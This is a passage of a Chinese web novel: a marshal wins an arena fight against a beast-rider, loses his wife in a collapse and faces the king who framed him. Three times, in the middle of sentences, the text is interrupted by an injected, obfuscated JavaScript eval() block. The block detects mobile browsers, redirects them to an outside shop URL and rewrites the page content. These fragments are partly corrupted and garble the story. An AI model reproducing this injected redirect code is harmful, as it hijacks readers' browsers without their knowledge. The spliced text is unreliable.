姜昆维,这不是人会做出来的事。 男人的眼珠上移,眼中的恨意再度滔天,他盯着看台上摄文王的方向,发誓要让男人为这一切付出代价。 “让我们来看看,无人可挡、无人可敌的元帅,究竟是一个全能的剑豪,还是一个只知道杀戮的莽夫!”司戈喊话道,“让我们复现五年前的景象,看看大元帅会作何动作!在需要保护的人面前,他究竟依然是像曾经那么愚昧无力,还是能一雪那时的耻辱呢?” 闻人佐的视线投向司戈,他知道,那只是个姜昆维的傀儡,是他想法的代言人。可是,现在,他只想将那人的喉咙整个挖出来,让他无法再说一句话。 司戈的话音落下之后,乌鲁发出一阵叫声。 它一甩头,已经溃烂的马匹尸体飞向空中,砸向了观众席,紧随而去的,还有马车的木屑。人群发出阵阵惊呼,有责怨声,也有惊恐的嚎叫。 司戈的声音适时而来,像是在故意掩盖小小的意外,“哎哟,看来乌鲁的兴致十分高涨,它也想知道,摄文的罪人今天究竟能不能为自己正名!” 乌鲁在高吟,上方的原人高昂地欢叫,似乎是在庆贺它对观众席造成的破坏,践踏别的种族让他产生了至高的愉悦。 死马投去的方向,那里的骚乱仍未停息,似乎有人受了伤,观众围聚在一起,像是一团忙碌的蚂蚁。 卫兵出动了,疏散人群,搬运伤员,但是他们的动作很隐蔽,似乎是为了不引起其他观众的注意,悄然处理了欢愉背后的血腥。 一切维系着表面上的和谐,但是,在乌鲁破坏的地方,在一个个因恐惧而冷却下来的脑袋里,只剩对非我族类的仇视。 闻人佐把女儿暂时交还给了妻子,从中间的圆柱的阴影里走出来,他看着周围,在乌鲁的践踏下,“屠夫”的弯刀也变成了废铁,他找不到一件能用来做武器的东西。 眼见乌鲁又要发动攻势,而他自己身后多出了两个要守护的人。 闻人佐向天空高举手臂,他目光坚定,鼓足了胸腔的空气,吼道:“给我武器!” 他的声音之大,传遍了整个场地。这是摄文大元帅在登台之后,向所有人说的第一句话。他没有明确的对话对象,只是笼统地向所有人喊话。 观众席上没有回应,这在预料之中。闻人佐没有气馁,再度开口,声音更加洪亮,像在对什么人发誓一般。 “给我武器,让我去解决那个怪物!” 人们在犹豫。 人们交头接耳。 直到这个时候,人们才开始思考起来。 他们最开始时为死斗拍手叫好,兴奋地看着那个高不可及的元帅在场地上挣扎。可是,他们不知道为什么他会出现在这里,那些沉醉于玩乐的头脑从未想过这些。 只有到了这个时候,大元帅与他们交谈,有些清醒过来的人像是终于意识到了,那场地之中的,不是什么玩物,而是一个活生生的人。 168. 投入角斗场8 闻人佐看着那乌泱泱的众人,对那一个个模糊的面孔喊道:“陛下将我投入决斗场,死是我的宿命——” 他违背着内心,称呼那个男人为陛下,因为他知道,现在揭露姜昆维的罪行无济于事。没有人会相信一个罪人的话,除非这个罪人先承认自己的罪孽,接受应得的惩罚,站在自己的谩骂者的一边,“死,我接受。但死亦有区别。我无法接受死在一个异族人的践踏之下!” 观众席中,什么样的声音都有。一部分人陷入了沉默,他们在犹豫。而另一部分则自始至终都没有改变过。 “罪人提什么要求!烂进泥里吧!” “装什么啊操,打不过就缩回你家女人怀里,一起被踩个稀巴烂!” 闻人佐只听到几个侮辱的词汇,他听得够多了,已经不太在乎。此刻,他在乎的,只有那些沉默者的态度,他所说的每一句话,也是说给那些人听,“我的命卑贱、不值一提,但它属于摄文!让刽子手来杀我,让先王的后代来杀我,让每一个记恨于我的平民来杀我!让他们来,但不要让一个傲慢的、对我族肆意妄为的异邦人来代行权力!” 整个场地在骚动,司戈居然没有在这个关头说些什么,摄文王的态度也暧昧不清。 一道银光割裂了空气,从远处飞来,划破了天空,像倾斜的落雨,坠落在了场地之中。 斜雨入土,凝滞身形。那是一杆长枪,在地上颤颤巍巍地闪动。 有人给出了态度。 那把枪近在闻人佐的身前,他只需要往前走两步,便能将它抽出来,而他也的确是这么做的。 那枪入地很深,角度标准,距离得当,是正规军的枪。 闻人佐看向观众席,他看不到投来这第一杆信号的人,观众畏缩着,凝聚成一个整体,害怕自己突兀的行为会引来无端的灾祸。但依然,他们在帮助他。 武器朝场地内飞来,它们一个接一个,像是一个人开启了先河,其他人便停不下来了一般。他们在往地狱投掷兵器,用兵器搭建坟墓,那坟墓是属于乌鲁的,也是属于闻人佐的。 他们要他活下去,但不必太长。起码,在这地狱的较量之中,他们要看到同族人的胜利。 “大元帅,不要死!” 场上,有人如此喊道,那是一个带头者,而后,是此起彼伏的声音。 闻人佐总觉得,那第一个喊话者的声音,依然那么熟悉。像是整场变革都由那人主导,所有对于大元帅的拯救,都由那人一手操控。 司戈像是活了过来,跃动的声音响起来,“什么?场上居然传来了不一样的声音!没想到,大元帅奋战至今,居然为自己赢来了观众的青睐!你们是在鼓舞他吗?你们是在渴求着他的生存吗?观众们,把我们的想法告诉我!” 司戈的话说完,场上又陷入了难舍难分的嘈杂,观众的意见总是东一半,西一半。但只有一半也好,就算不是压倒性的,对闻人佐来说也已经足够了。 乌鲁不明白发生了什么,难得地,黑皮肤男人露出了疑惑的神情,他骑在身下的巨兽上,向那观众席上望去,似乎想要弄明白那些人在做些什么。 往场地内投掷的兵器并不全是交给闻人佐的,有些兵器向乌鲁而去,带着明显可见的恶意,像是要打压他的骄狂,报复他的肆意妄为。 他挥动从闻人佐那里得到的剑,打开了向他投来的不明物体。这似乎让异族男人非常生气,他高举自己的手臂,龇牙咧嘴,看着看台上的一众观众,似乎在痛斥他们不友善的攻击。 乌鲁再度被观众席吸引走了注意力,那个人兽形成的整体,像一只注意力无法集中的可怜野兽,哪里出现新的响动,就奔赴哪个方向。 但是,他没有时间再度展开针对观众席的袭击。 闻人佐得到了武器。他得到了枪,他得到了刀剑,他得到了棍棒,他得到了弓箭,他没有办法将那些东西全部带在身上,于是只选了其中的一部分。 足够杀死的乌鲁的一部分。 他不是最好的弓手,飞箭从他的弓中射出,画出一个并不坚韧的圆弧,擦过巨兽的身体,软趴趴地落进泥里。 但这就够了,乌鲁转过头来,已经被吸引了注意。 再一次,他将那远古的怒意从观众的身上吸引开来,导向自己的方向。 他在说,“你的对手是我”。 他从来没有逃避,一直在这么说着。 乌鲁像个无头苍蝇一般,轻而易举改变了目标,原人骑着野兽,向闻人佐奔来。大元帅离开了中心圆柱,他的妻女在那里,不能将巨兽引过去。 他腰上挂着一把匕首,身侧别着一把长剑,钩索一圈圈绕起来,挂在他的左手臂上,像是一条懈怠的蟒蛇,此刻,他正缓缓将钩索缠绕在一只铁箭上。 野兽越来越近。再等等。 几乎只有五六个身位的距离。还是不行,没有把握。 他闻到了巨兽身上腐朽的气息,它扑面而来。 就是现在! 闻人佐神色一凛,举起弓箭,瞄准了野兽的头颅,他知道这一箭肯定不会刺破它的头骨,但是他的目标不是击杀这个狂兽。他松开了弓弦,钩索像一只不受约束的鸟,就那样朝天际而去。它坠落在巨兽的身上,卡在了它的缰绳之间,形成了一条大元帅与野兽之间的联系。 闻人佐向一旁滚去,避开了巨兽的攻击路线,与此同时,他收紧了手里的钩索。一瞬间,他感受到了一股巨大的拉力,巨兽冲击的势头并没有停下来,它带着他在地面上拖行了很远。 他将自己的带着肩甲的外裳给了倪宝娇,身上只有一层不太厚的绵制里衣,它在与地面的摩擦中变得越来越薄,最终剩下他的皮肉在地面上摩擦。鲜血溢出他的身体,无法抑制的洒落到了地面上去。 这不要紧,他受过更重的伤。 他攥紧了手里的勾索,稳定住自己的身形,努力地抓着它,让上身离开地面。他将绳子在手上缠绕,足够牢固后,便向上伸出另一只手,攥紧,松开另一只,再往上攀爬,就这么循环往复,直到他整个身体都离开了地面。 他听到了观众的欢呼,那声音像是在为他拍手叫好。他不确定,毕竟,他从上任之后,已经很长时间没有感受过民众的鼓舞。 闻人佐攀着那根绳子,一点点往上爬,巨兽感受不到他,他太渺小了,只会被它当成是缰绳在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573088|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身体上摩擦。 他往上看去,那个黑皮肤的异族人站在巨兽的背上,摸不到头绪一般,在四下观望着。他找不到闻人佐,也不知道观众在为什么喝彩,徒然陷入毫无头绪的迷茫。 闻人佐悄然来到的巨兽的背上,此刻的他,上身的衣物已经被大地夺去,在地上拖行这一段时间,他肩膀磨掉了一层,露出那下面的血肉。但他还能抬得动它,这就够了。 伤口已经让他变得支离破碎,但现在,他感觉不到痛,他知道,这只是身体给他的幻觉,它给了他最后的机会,让他鼓足勇气,动用身体里所有的力气,为自身创造可以存活下去的条件。 大元帅太习惯这样的感觉,在和刺客联盟对抗的那些年,他无数次体验过这种感受。 他没有惧怕,把这当成习以为常,只因为他就是行走在死亡边缘的人,从五年前登上那个处刑架的时候开始,他便走在生与死的分割线上,如履薄冰。 他冷峻地提起剑,瞄准了黑色原人的后颈。 一计突刺,手下没有传来期望的阻力。 那人像是背后长眼了一般,或者说,在剑刺向他的过程中带动的风惊动了他,让他意识到身后有人。 躲过一剑,那人向后退去,站在巨兽的头骨上,十分轻松地保持着平衡,像是在它身上出生,在它身上生活了一辈子一般。 原人吼了一声,他脚下的巨兽急躁起来,开始漫无目的地冲撞。随着它动作的加大,背上的方寸之地也愈发不稳,闻人佐只得蹲下身体,以此来维系身体的平衡。 而就在他这么做的时候,一道黑影扑了上来。对方双手紧握原属于大元帅的配剑,像是拿着一个叉子一般,毫无章法地从上至下刺去。 闻人佐一偏头,身子都没有移动,便将那剑锋躲过,这种胡乱的招式根本伤不到他。 对方咕哝一声,似乎是骂了一句什么,将剑拔出来,站得笔挺,完全不受巨兽晃动的影响。 而闻人佐则不同,他显然没有受过这方面的训练,在巨兽的背上趴伏着,握住座椅的一角,才堪堪稳定住了自己的身形。 又是一剑刺下来,闻人佐稍稍动了动肩膀,便化险为夷。与此同时,他勾起自己的剑,一个上挑,精准地刺中了对方的手掌。原人的嚎叫了一嗓子,手里的长剑应声而落。 虽然闻人佐看上去伤痕累累,几处深入骨髓的伤都在流血,然而,轻视他的人绝对不会有什么好下场。 有剑在手,他又成为了那个令人闻风丧胆的剑豪,没有什么是他不能战胜的。 闻人佐勉强站起来,越来越熟悉巨兽上稳定平衡的方式。不要对抗那左右摇晃的力量,和它融为一体,一切都由身下的巨兽说了算。 他既掌握了站稳的办法,这里已经没有人可以阻止他了。 对面的人弄丢了唯一的武器,他吼叫着,说了一连串的话。闻人佐听不明白,只是盯着他。 黑皮肤的人手舞足蹈,似乎在解释些什么。闻人佐很疲惫,就算这个时候有个语言相通的人站在他面前,和他说这么长一段话,他恐怕也听不懂了。 他几乎没有犹豫,高抬自己的剑,目标是对方的喉咙。 169. 今日阴1 颠簸丝毫没有影响他的速度和准头,他如一阵疾风,倏然吹刮到敌人的脸上,风里裹挟着杀意的剑气。 那个原人还想逃,可没等他做些什么,剑锋一下子灌入他的侧颈,将它捅了个对穿。 甚至没有用上其他武器,只是一把看上去是量产的铁剑,闻人佐便完成了刺杀。 在巨兽上腥风血雨、不可一世的异族,就这么断了气。 “他做到了!”司戈的声音在上方传来,声音惊讶不已,“他击败了乌鲁!不,严格意义上说,他还没有,巨兽还活着,但它还能坚持得下去吗!” 他想用弓箭封上那个人的嘴。闻人佐摸了一下背后,突然想起来,他早就把弓箭扔在地面上了。 无奈,他暂时放弃了这个想法。 黑色皮肤的人倒在巨兽的头顶,身体软趴趴的,一点点滑了下去,最终掉在地上。 闻人佐看不到地面,但是,他听到了噗嗤的一声,就和巨兽踩碎黑骑士时是一样的声音。 他走到巨兽的头颅前,稳住身形,双手握着剑柄,剑尖朝下,对准了巨兽的后脑。他不知道这种生物的弱点在哪,但是攻击这里总不会有错。联想与它大致相仿的所有生物,脑部被破坏,所带来的杀伤力总是致命的。 像是感受到了上方的杀意一般,巨兽在这一刻突然转向。 闻人佐才刚刚放松了警惕,巨兽突然的动作使他重心不稳,瞬间被甩了出去。但好在他反应迅速,抓住了缰绳,才没有从巨兽的身上坠落。 司戈的声音传来,“快看啊,她们……来不及了!哎呀,不行,我也要撤退了!” 闻人佐不知道司戈为什么突然这么惊慌,往对方所在的地方看去。然而,他这一看,通身冰凉。 司戈正在从那中央的圆柱高台上向外撤退,而在那高台之下,正是他安放倪宝娇和闻人芹的地方。 此刻,巨兽疯了一般向中央圆柱的方向撞去,眼见距离已经不剩多少。 不能这样下去,那母女两人会有危险! 闻人佐顿时鼓动全身的力气,跳上巨兽头顶,他拼死地勒动缰绳,然而,巨兽没有反应,他并不了解操控它的办法。 他当即放弃缰绳,又抬高自己的剑,再度对准巨兽的后脑,用尽所有的力气刺下去,“给我停下!!” 巨兽发出了一声嘶鸣,像是死亡将近,它也对世间发出最后一声留恋。可它依然在向石柱冲撞,身体的余温让它无法停下。 在那悲壮的嘶鸣中,下方传来了一丝更弱的呼唤声。那是女人的声音,那般悲哀,那般惊慌,她在寻找她的丈夫。 这一刻,一切好像都变慢了。 闻人佐看着白色的圆柱越来越近,看到地面上环抱着彼此的母女,看到她们失魂落魄地仰望着高大的野兽。 大元帅盯着他的妻女,就那么跳了下去,他没有丈量距离,也不管这个姿势下跃是否会给自己带来不可逆转的伤害,他不在乎,只想快一步回到她们的身边。 然而,在坠落的过程中,奔袭的巨兽一下子将他撞在墙上,瞬间,闻人佐就失去了意识。 短暂的昏迷后,他在碎石堆里醒来。 大元帅爬了起来,嘴中有腥甜的味道,睁开被血充斥的双眼,他看到中央的圆柱已然坍塌,石块纷纷落下,而那上面的司戈已然沿着空中隧道逃脱,不见踪影。 巨兽还有气息,它在石柱的废墟上磨蹭挣扎,碾碎了身下的一切。 “……不可能……”闻人佐呢喃着,站起来,又摔下去,他的腿不听使唤,哪里好像断了。他往前爬,左手因为深入骨髓的擦伤使不出力气,他便用右手抓地,一寸寸往前挪,“不可能。” 他爬到了近前,巨兽仍在地上呻|吟,巨大的身躯来回摩擦着地面,将那地上的碎石碾成更小的粉末。 不可能。 让她们待在这里,是因为这是接近中央。乌鲁总是对观众席兴趣颇深,所以他判断让妻女待在外围才是危险。 可是他判断错了。 他有过许多判断,回想起来,似乎没有哪个最终证明是正确的。 闻人佐爬过去,手指伸到巨兽的腿下,尝试搬动它的身体。这时候,濒死的巨兽腾挪了一下,他的手被压在了下面。 等他再拿出来的时候,指甲已经碎了,五根手指以怪异的角度弯折着。他看了一眼,眼神空洞,像是感受不到骨头碎裂的疼痛。 他的视线落回巨兽的身上,这一侧看不到它身下的情况,于是闻人佐站起来,围着它踉踉跄跄转了一圈。 来到另一侧,他在巨兽的肚子前面看到了一滩碎石,他走过去,用好的和坏的手挖它。 战斗告一段落,观众席上传来高呼声,逃难的司戈跑到了安全的位置,在呐喊些什么,但闻人佐听不清,他的耳朵像是闷在一口老钟里,只剩嗡鸣。 他全部的注意力都放在了眼前的碎石堆上,重复着相同的动作,一捧接一捧地挖开它。 “……无法想象……胜利……虽然……可惜……” 土里露出了一截手指,它很修长,灰尘下是白皙的肤色,上面有几个细小的破口。 闻人佐继续向下挖。 “……向我们证明……大元帅的实力……一次机会……你们的选择是……” 一个手掌破土而出,它藕断丝连,红色的线埋进土里,带着一股生命的韧性。闻人佐将那只手掌握住,轻轻剥开那筋脉周围的石子。 “……听到了你们的声音!……摄文王宽宏大量……已经太久没有修改规则……” 他看到了一张脸,熟悉,也不熟悉。它有着倪宝娇面容的轮廓,可记忆里,它是完整的,没有折断的眉骨、搅碎的眼球、裂到耳根的嘴唇,和凹陷的脸颊。 “让我们以最热烈的掌声,恭喜大元帅!” 闻人佐低下头去,抱着那颗头颅,“呃啊……啊啊啊……!” 他发出低吼,在所有人的掌声之中。换气,抽吸,毫无意义地吼叫,一遍又一遍,没有理智,没有意图,他的脑海里空白一片。 仅剩无边的痛意在撕扯他,仿佛有一只手伸进体内,将他的心脏拧得粉碎。 不知这么过了多久,有人将他架了起来。 闻人佐的头向后仰去,整个身体犹如刚死的尸体。他看到了戈首的穹顶,视野在旋转,而后开始向一个方向移动。就这么挪动、挪动,最后,一片黑色的布笼罩在那上面,切断他与穹顶的视野。 有人架着他,他不知道那是谁。他们有几个,在往哪里走,他都不知道。 潮湿的气味窜入他的鼻翼,他坐在了某个平台上,身体往一旁栽倒,没有人扶他一把,他便侧着倒了下去。 视野是横着的,在这混乱的视觉中,他被动地辨析着。这是一间小屋子,里面点着幽暗的烛火,门口有人来来回回地走动,他们时而停下交谈着些什么,时而只是经过。 “要救吗?”一个声音问。 “不知道。”另一个声音答,声音犹豫,“陛下马上就来了,听他的吩咐吧。” 又不知过了多久,一个锐利的脚步声传来,那人像是穿着金属制成的鞋子,走在路上的每一步都发出清脆的震响。他身上一定穿戴了许多珠宝,那使他一举一动都听上去十分华贵。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573089|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人影出现在了闻人佐的门口,他说道:“你们都退下去。” “陛下,大元帅的情况很糟糕,如果要救治的话,还请尽管做出决定……”一个老者的声音传来。 他们之间又发生了一段交流,语句繁多,逻辑复杂。闻人佐闭上了眼睛,那些声音离他越来越远。 他只觉得自己昏过去了片刻,再睁开眼,门前堆积着的一帮人已经不见了。 他依然侧躺着,面前有一个人影。 闻人佐的眼皮向上抬,他看到了对方的脸。 那人是笑着的,狷狂的脸投下一片阴影,金色的发镀上了一层烛光做的橙红外衣,他沉默地盯着他。 刚才的迷惘渐渐消散,在看到男人的脸后,闻人佐只感觉所有的感觉都在回归身体,仿佛死神将他从地狱遣送了回来,再度让他感受到活着的苦,活着的悲,活着的痛。 闻人佐撑住自己身下的床榻,让自己的上身坐直。 姜昆维对他说话:“有什么感觉,闻人?” 闻人佐盯着姜昆维,不说话。 姜昆维似乎也没指望他回答,顾自说道:“刚才很精彩,我以为你打不过乌鲁,却没想到你居然想到要驱动愚民的想法,让战局变得对你有利。” “姜昆维……”闻人佐念叨着。 “什么?”姜昆维没有听清,他俯下身来,身上的金银珠宝随着他的动作叮叮当当地响。他现在的模样,像极了一个极富有耐心的聆听者,姿态卑微,态度虔诚,只为了听清眼前的人在说些什么。 闻人佐闻到了一股香气,但味道令他胆寒又作呕。眼前的金发男人在靠近,模样坦率,不留防备。 大元帅目光一凛,弓起手指,往上一掏,猛然抓住了姜昆维的脖颈。 “唔咳……”姜昆维动弹不得,就那么被闻人佐抓着弱点,然而,他却笑了起来,“哈哈……你已经虚弱到这个份上了?闻人,以你的掌力,就这么拧断我的脖子也是轻而易举的事吧。” 闻人佐自认用了十足的力气,然而,姜昆维的模样并不痛苦,反而笑得越来越狂。 摄文王就那么与闻人佐僵持着,呲着牙,说道:“是不是非常想杀死我?” 一只手拧不断对方的脖子,闻人佐又加了一只手上去,他从床榻上站起来,连连将对方向后逼退。 姜昆维的背撞在门上,他发出闷哼,没有一点反抗的意图,“真狼狈啊,闻人。仇人就站在你的眼前,再用点力如何?” 他已经在用力了,断指掐住仇敌的脖颈,削下去一层肉的臂膀喷薄怒张,他已经在尽全力想要杀死眼前的梦魇。 姜昆维哈哈大笑,抬起一条胳膊,像挥苍蝇一样,打开了闻人佐的两只手。 大元帅后退半步,盯着眼前的人,涛涛怒意让他的神志犹如烈火焚烧,就算只剩下一副头颅,他也要将对方的喉咙咬断。 这么想着,他驱动残破的身躯又扑了上去。 这次,姜昆维没有让他得逞。摄文王向一旁闪躲,轻松避开了他的攻击。 闻人佐扑了个空,撞在墙面上。撞击的一瞬间,他感觉身体里什么东西碎了,但是,他不在乎,他已经没必要活着了,只是在死之前,他还有一个要带走的人。 姜昆维,他必须将他拖到地狱中去。 为了给他的妻女报仇,为了给摄文除掉这个祸患,为了了结先王的遗恨,也为了能让自己心安地闭上双眼。 闻人佐挣扎着,转过身来,然而,就在这时,一个冰冷的东西抵在了他的额头上。 姜昆维手里握着一把枪,枪口对准了闻人佐的脑袋。 170. 今日阴2 “愚昧的人民选择让你退台休息,而我也尊重了他们的意见。你活着从舞台上下来,这就够了。”姜昆维说道,“闻人,拖着这么破破烂烂的身体,感觉一定不好受吧?我很快就让你解脱。” 枪口抵在额头上,闻人佐冷着声线,“……姜昆维,早晚有一天,你会为自己所做的一切付出代价。” “哦,直呼我的大名,看来你真的很生气。”姜昆维笑着说,他晃了晃手里的枪,威胁似的逼近对方,“可惜,你的愿望要落空了,我是不会付出任何代价的。所有的一切都在掌控之中,这次我们闹翻了,但没关系,下一次你还是会乖乖做我的走狗。” “你在说什么。”闻人佐沉着脸问。 “你不理解也正常,毕竟你只是个普通人,闻人佐。虽然你很厉害,也不过是个普通人罢了。”姜昆维盯着他,眼神中多有轻鄙的意味,“从小到大,老爹总是拿你和我作对比,什么都是:‘看看人家小佐,看看他做的多么出色’。可惜那个死老头子看不到,他最喜欢的闻人佐现在是一副什么模样。” 说起姜阳,闻人佐便感到一阵揪心,随之而来的,是更加隐蔽的愤怒。 他印象之中,姜阳是一个仁慈、仁爱的王,他白发苍苍,目光和蔼,教导着自己的孩子与人民,将摄文一步步发展壮大。但他却被自己的亲生儿子设计陷害,惨死暮年。 闻人佐只觉得喉咙像是着了火一般,他问道:“为什么要策划那种事,姜昆维?” “唔。当然是为了给你送行了。”姜昆维道。 闻人佐吼道:“我说五年前的事!” 姜昆维一愣,像是没有预料到闻人佐突然的爆发一般,他笑起来,眼睛也眯成一条缝,“干嘛这么激动,我的理由难道你还不清楚吗。” “你杀害的是你自己的父母、兄弟、姐妹!”闻人佐痛斥道,他向前探出去身子,丝毫不顾枪口就抵在自己的额头,“他们是你的亲人!” “是啊,他们是我的亲人。”姜昆维重复闻人佐的话,“但当他们成为我称王路上的障碍时,他们也是我的敌人。” 闻人佐看着眼前的男人,感觉对方的面庞在扭曲。 他应该早一点注意到他的癫狂。 姜昆维是姜家的老三,他上面有一个哥哥、一个姐姐,下面有一个弟弟、一个妹妹。姜昆维对待外人总是狠厉的、不择手段的。作为闻人姓氏的人,闻人佐很多次体会过这一点。而姜昆维对待亲人,总是温和的、宽容的,他就像是家中那个润滑剂,没有了他,就失去了一家人的和睦。 所以,即便在闻人佐的记忆里,姜昆维这个名字,和欺压、殴打脱离不开干系,但闻人佐一度认为,那只是他向外人露出的獠牙,自己不巧没有被这个姜家人接纳,仅此而已。 即便,闻人佐还记得有一年,姜阳独自找自己谈话,语重心长地说,希望闻人佐能为自己的儿子树立起一个榜样,让他不要在偏颇的路上走得太远,误入歧途。 那时,闻人佐不理解姜阳的忧虑。在他年幼的眼中,姜昆维没什么问题,他只是格外喜欢打人,但是,他打完了人之后会道歉,并且解释自己这么做的原因,那一般都能够得到信服和体谅。 或许,在姜昆维还小的时候,姜阳便在自己的孩子身上看出了什么。先王给过闻人佐警示,但是,闻人佐小的时候理解不了,他只是按照姜阳的意思,做得好一些,再好一些,永远比姜昆维更快一步,让他追着自己,永远比他强大,永远引领,永远付出而不索取。因为,这就是他理解的、名为榜样的作用。 看着如今的姜昆维,闻人佐在想,或许,他又做错了一件事。 他所坚守的这个榜样的形象,他的这份自我坚持的固执,他对姜家不求回报的忠诚,或许只是蒙住自己双眼的愚蠢面纱。如果他早点揭开它,看清面前发生的一切,看出姜昆维的疯狂,或许他还来得及挽救一些什么。 他早该承认,在自己的内心深处,姜昆维无疑是他的梦魇。当年,姜家惨剧发生之后,明面上,只有姜昆维一个人活了下来。 得知姜昆维即将继承先王的位置,得知自己可能将要辅佐这个男人,闻人佐其实并不情愿。他有过一些阴暗的想法——如果,那天惨剧中活下来的不是姜昆维,该有多好。 这种想法冒出头的一瞬间,他就狠狠扇了自己一巴掌,让那种不忠诚的、怯懦的想法离开自己的脑海。 他怎么能那么想。即便姜昆维给他留下了不少阴影,那也不是他该生出这种想法的理由。 他知道,和姜昆维的合作,肯定是这世界上最艰难的事情。但偏偏,这个王族在受伤痊愈之后,亲自出面保住了闻人佐岌岌可危的性命。在那之前,大元帅被推上了风口浪尖,连绞刑架都已经立了起来。 被姜昆维保下的那一刻,闻人佐只觉得自己内心狭隘。他不该对姜昆维有那么多的偏见,即便他总是出手打人,夺走他的东西,高涨的性情总是给人造成无心的伤害。但是,他在最危急的时候替闻人佐站了出来。那个时候,大元帅便放弃了自我挣扎,他将姜昆维视为余生效忠的对象,但与其同时,他也将这个新上任的摄文王视为一种惩罚和考验。 是他没有守护好姜家的罪责,无论姜昆维如何对待他,他都会接受。在他面前的,不是一个脾气古怪的王族,而是考验的化身。闻人佐一直这么觉得。 然而现在,考验不再是考验,他变成了罪恶。 看着眼前这个金色头发的摄文王,闻人佐看到了邪魔,他看到了鬼魅,看到了一个无法被拯救的灵魂。 “姜昆维,你无药可救。”闻人佐冲那个金发的男人说,“连先王那样的智者都教化不了你。” 姜昆维一愣,瞳孔恐怖地张开,他伸出一只手,覆在闻人佐的下半张脸上,他就这么抓着他的脸,抬起一条腿,一击膝顶踢在闻人佐的面门之上。 闻人佐感到鼻子一酸,眼泪没下来,但是一股热流从他的鼻翼中涌了出来。 姜昆维垂眸摆弄了一番手枪,说道:“你褪去那身所谓元帅的伪装之后,说出来的话讨喜多了。” 那把枪又对准了他,闻人佐盯着它,踉跄了一步。 姜昆维的目光上下扫视,最终落在闻人佐的脸上,手指搭上在扳机,笑容从他脸上消失了,“这一生就这样吧,闻人。” 姜昆维的手指微动,而闻人佐几乎看到了那黑色管道里闪烁的火光。 嘭的一声,像有什么巨大的东西撞在墙上。 闻人佐愣在原地,他不知道子弹有没有打中自己,他的反应早就很迟钝,每个新伤都要隔一阵才能反馈进他的脑海。 但不同于痛觉的,他的视觉实时地向他传递着眼前的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573090|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一切。 在一小块烟雾中,姜昆维的身影不见了。枪响的一瞬间,有个黑影一闪而过,将他扑了出了门外。 阴暗的廊道中,姜昆维愤怒的声音响了起来,“你做什么?!你在干什么!” 走廊里,似乎有两个人影纠缠在一起,太暗,闻人佐只能看清轮廓。 大元帅想要走过去查看,然而,当他迈出第一步的时候,他的膝盖突然打了弯,再也支撑不住身体,歪倒下去。 他低头,看到自己大腿上的布料开始浸血,那上面有一个血洞,看上去是刚刚被打穿的。 “我没法再让你胡作非为了!”一个青年男性的声音传来。 这个声音有点耳熟,闻人佐回忆了一番,想不起来任何一张脸。只是,它很像那个声音——那个在角斗场上,一直为他加油打气、永远第一个为他站出来的声音。 “从我身上下去!”姜昆维怒吼。 一阵打斗的声音传来,摄文王身上的挂坠叮当作响,对抗似乎很激烈,难舍难分。 青年的声音传来,它愤恨,似乎带有许多不甘,“我将你纳为孑塑者,不是为了让你做这些混账事!” 姜昆维的辩驳紧随其后,“啊?事到如今,你跑来管我做什么?你没这个资格!” “对,我没有。我没法收回给出去的权能,我没用!所以,自己捅的篓子,我自己亲手来处理!” “开什么玩笑!”姜昆维暴怒一般,大吼。 一阵金属磨擦声响起,木制铁边的枪管对准了青年的脑袋,砰的一声,子弹打了出去,青年人的头一下子翻仰过去,可是,不到片刻,它又回正了。 “你这不死的!”姜昆维暴躁地说,“这又不是我第一次杀他,曾经怎么不见你出来阻止?” “因为那个人活下来了,一切都不一样了!”青年人激动地喊。 他与姜昆维僵持在一起,渐渐地,青年人的力量占了上风,从他动作的剪影来看,他应该是一下子夺过了那把枪,开始紧张地为它填弹。 其间又经历了一番纠缠,闻人佐看不太清他们的动作,只能听见青年懊悔的声音断断续续地传来。 “你都做了些什么啊,姜昆维?一直在沉溺于这些无关紧要的权力相争。 “第一个轮回,你当上了摄文王,我以为你会就此停止。 “第二个轮回,你洗清了自己的嫌疑,我以为你已经没有了后顾之忧,可你还是不满足。 “第三次,你除掉了所有知道你篡位真相的人,我以为你终于能够关注真正重要的事,与我们一同开创走向新世界的道路……然而你没有。你一直都只在乎自己土地方圆里的这点破事!” “哈,这么听,你是想让我帮你。”姜昆维道。 对方大喊,“我从一开始就这么说了,我需要你们每一个!” 姜昆维沉默片刻,道:“说真的,从我被你赋予权能开始,已经度过了几个轮回了?你说,要是真有什么希望的话,我还需要一直玩这些过家家一般的游戏吗?” 青年似乎将姜昆维拎了起来,枪口对准了他,“可你从来没有努力过!” “你当真要把我——” “你从来没有努力过,就不要来妨碍有可能成功的人!”青年人颤抖地说。 话音落下,紧接着,枪响了。 171. 今日阴3 